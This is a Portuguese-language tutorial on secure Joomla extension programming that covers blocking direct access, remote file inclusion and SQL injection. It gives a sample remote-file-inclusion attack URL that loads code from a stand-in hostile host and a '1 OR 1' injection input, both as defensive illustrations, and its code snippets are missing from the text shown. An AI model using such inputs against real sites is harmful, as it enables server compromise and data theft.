Informática Numaboa - Tutoriais e Programação
Medidas de Segurança na programação Joomla
Sab 5 Jan 2008 20:46 |
- Detalhes
- Categoria: Joomla
- Atualização: Segunda, 02 Julho 2012 19:22
- Autor: vovó Vicki
- Acessos: 17224
Antes de começar a programar componentes, módulos ou mambots/plugins para o Joomla, é bom conhecer algumas precauções que devem ser tomadas para evitar que seu site se torne um alvo fácil para crackers que adoram explorar falhas de segurança.
Evitar acesso direto
O primeiro cuidado que você precisa ter é evitar o acesso direto de componentes, módulos, mambots/plugins, etc. Todo mundo está careca de saber que os componentes do Joomla ficam no diretório /components, os módulos ficam no diretório /modules e os mambots do Joomla 1.0.x ficam no diretório /mambots e no Joomla 1.5 no diretório /plugins. Além disto, os subdiretórios são identificados como com_seuComponente, mod_seuMódulo e assim por diante. Devido ao padrão utilizado, é muito fácil chamar diretamente uma extensão. Basta colocar o seguinte na barra de endereços do navegador:
http://www.seusite.com.br/index.php?option=com_seucomponente
Com esta chamada, se o seu componente estiver programado para executar algum código, podes crer... o código será executado e pode entregar o ouro para os bandidos. Como fazer para evitar o acesso direto? Muito simples. Use o Joomla para fazer o bloqueio.
Quando o Joomla é inicializado, as variáveis _VALID_MOS (nas versões 1.0.x) ou _JEXEC (na versão 1.5) também são inicializadas e só serão reconhecidas se o próprio Joomla fizer a chamada, ou seja, nas chamadas diretas elas são ignoradas. Bingo!!!
Para se proteger das chamadas diretas basta incluir a seguinte linha no início de cada script PHP do Joomla 1.0.x:
Se você quiser, pode trocar die( 'Acesso bloqueado' ) por die( 'Vá lamber sabão!' )
Na versão 1.5 use:
Evitar inclusão remota de arquivo
Imagine a seguinte linha de código no seu arquivo:
Agora imagine o cracker tentando ganhar acesso:
http://www.seusite.com.br/components/com_componente/componente.php? mosConfig_absolute_path=http://www.sitebichado.com/caca.gif
Para mal dos pecados, se o caca.gif não for um arquivo de imagem, mas sim um código malicioso, e se o register_globals do PHP estiver habilitado (register_globals ON), o código caca.gif será incorporado e executado no seu servidor. Alerta vermelho! Pode ser qualquer tranqueira perniciosa!
Para evitar este tipo de surpresa, tome um cuidado especial com include, require, include_once, require_once e fopen. Faça estas chamadas apenas através de variáveis:
Evitar injeções SQL
Atacantes podem modificar certas queries inseguras. Neste caso, seu script é executado de forma anômala e pode alterar dados da sua base de dados ou entregar informações preciosas para o atacante. Tome como exemplo a seguinte query:
Aproveitando-se desta falha, um atacante pode fazer uma chamada usando "1 OR 1" e a query ficaria assim:
Como é uma query válida, todos os registros da tabela serão listados! Para evitar este tipo de malandragem, aliás uma das mais manjadas para fazer injeção de SQL, faça o seguinte:
Apesar destes cuidados, os números inteiros ainda podem ser um problema. Por isto, antes de usar qualquer valor inteiro numa query, dê um trato neles:
Confira também todos os valores fornecidos antes de usá-los. Para o Joomla 1.0.x faça:
O correspondente no Joomla 1.5 é:
A função JRequest::getVar retorna valores sem a barra de escape \ em caracteres especiais, como por exemplo \" ou \' (unescaped). Para poder usá-los em queries use
- Anterior
- Próximo >>